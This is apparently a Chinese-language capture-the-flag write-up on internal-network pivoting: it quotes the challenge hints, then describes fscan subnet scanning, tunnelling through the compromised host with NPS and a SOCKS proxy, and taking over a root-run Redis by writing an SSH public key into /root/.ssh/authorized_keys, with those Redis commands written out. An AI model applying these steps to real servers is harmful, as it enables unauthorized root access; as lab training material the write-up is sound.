1 2 3 4 5 6 7 8 9 恭喜你通过外网渗透拿下了本台服务器的权限 接下来,你需要尝试内网渗透,本服务器的/app/tools目录下内置了fscan 你需要了解它的基本用法,然后扫描内网的ip段 如果你进行了正确的操作,会得到类似下面的结果 10.1 .11 .11 :22 open10.1 .23 .21 :8080 open10.1 .23 .23 :9000 open将你得到的若干个端口号从小到大排序并以 - 分割,这一串即为hint.zip 压缩包的密码(本例中,密码为:22 -8080 -9000 ) 注意:请忽略掉xx.xx .xx .1 ,例如扫出三个ip 192.168 .0 .1 192.168 .0 .2 192.168 .0 .3 ,请忽略掉有关192.168 .0 .1 的所有结果!此为出题人服务器上的其它正常服务
ifconfig
命令没有 还可以用hostname -I
获取存活的ip地址
可以得到两端
然后进行fscan 扫描c段
获得密码22-3306-6379-8080
再将压缩包中flag解出 获得提示
1 2 3 4 5 6 7 8 9 10 当你看到此部分,证明你正确的进行了fscan的操作得到了正确的结果 可以看到,在本内网下还有另外两台服务器 其中一台开启了22 (ssh)和6379 (redis)端口 另一台开启了3306 (mysql)端口 还有一台正是你访问到的留言板服务 接下来,你可能需要搭建代理,从而使你的本机能直接访问到内网的服务器 此处可了解`nps` 和`frp` ,同样在/app/tools已内置了相应文件 连接代理,推荐`proxychains` 对于mysql服务器,你需要找到其账号密码并成功连接,在数据库中找到flag2 对于redis服务器,你可以学习其相关的渗透技巧,从而获取到redis的权限,并进一步寻找其getshell的方式,最终得到flag3
那么我们要去连接它内网下的其他服务器 我们就要进行内网穿透做隧道
首先就是用一台vps去连接跳板机 然后通过跳板机做隧道将内网中服务器暴露在公网中 这样我们就可以用我们的物理机去连接到了
大致就是 172.21.0.2:xxxx(内网服务器)->跳板机ip:xxxxx->我们的vps<-某种⼯具连接这个隧道<-攻击机
这里我用的是NPS
一开始我用的tcp隧道 就是我们可以直接去连接我的vps和指定隧道端口直接连接他的内网服务器
但是这里我并不能连接成功redis 就很奇怪
之后我用socks并且proxifier
做了个代理 就不用去用我的vps ip了 直接就是127.0.20.x:3306
就可以连接到他的内网中mysql服务器
配置什么的都要做好 包括容许走它的隧道应用等
连接上去之后 可以在表中发现第二段flag
第三段是redis公钥登录服务器
大致过程与条件:
客户端生成私钥和公钥,将公钥拷贝给服务器端
客户端发起登录请求
服务器端根据客户端发来的信息查找是否存有该客户端的公钥,
客户端收到服务器发来的加密后的消息后使用私钥解密,并把解密后的结果发给服务器用于验证
服务器收到客户端发来的解密结果,与自己刚才生成的随机数比对
条件:
Redis服务使用ROOT账号启动
服务器开放了SSH服务,而且允许使用密钥登录。
首先用工具连接到redis服务器 只要隧道搭建没问题都能连上 就是这个环境太折磨人了
不过也没办法 能体会到出题人的一片苦心 只怪搅屎棍太多了 素质太差
需要注意的是ip会发生变化是动态的 连接不上的的时候一定要去再看看 而且题目环境会隔一段时间重启
首先在自己攻击机申请公私钥 将私钥保存在自己物理机上
1 2 3 4 5 ssh-keygen -t rsa # ⽣成公钥和私钥 redis服务器写入 set x "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDVuidivu8ahaTWtPekYXjkm0ya2rJ9uYFXQ6ca0GO9ny478xL8sU6Qg3Cpzr1/uWGOahpACX2CLjnkRxiZAuxwymqGyq0/jYoLLuGfKCIOdb/WL5mcsdubiVvjC4jWSLIvlwB/rk2LS5DNC2+fnBGuVKDRNLn6BY4w8vRdqowA9/Gy5+gJwBR9TY1J6KQUTc0LXNasQIhBbqXYTQwfcqdhBs929Uq5yOIs+1KawJJrmkWkENvbat7BphjlUhvZUrynEpCNZ0kJVxq2Pj4ltks1WMknE+cES10LJQDSlhjxNuED52QPdcIjqtKUZZk3P7hKwLmO782D3/stPQ0Q4RMWeaUvJLRFLtep1uf+O5YQTtJ8NJzFP+nntNX/NB7HKk4dIy+PnQOh1TaEAAWXK5TR6SgrRttAUcZzhrbTjNNvqRHq9VJplE7hFoaqJXQhD7x7UgjPJqK8kP0b/kpza68+ljgD7PZJSUl7q5gJ5yicGvBUNht/6Y/qqn4KonDpYH8=\n" config set dir /root/.ssh config set dbfilename authorized_keys
然后用私钥ssh 22端口链接即可
然后就能得到最后一段flag
被环境折磨。。。
收获还是颇多 很值得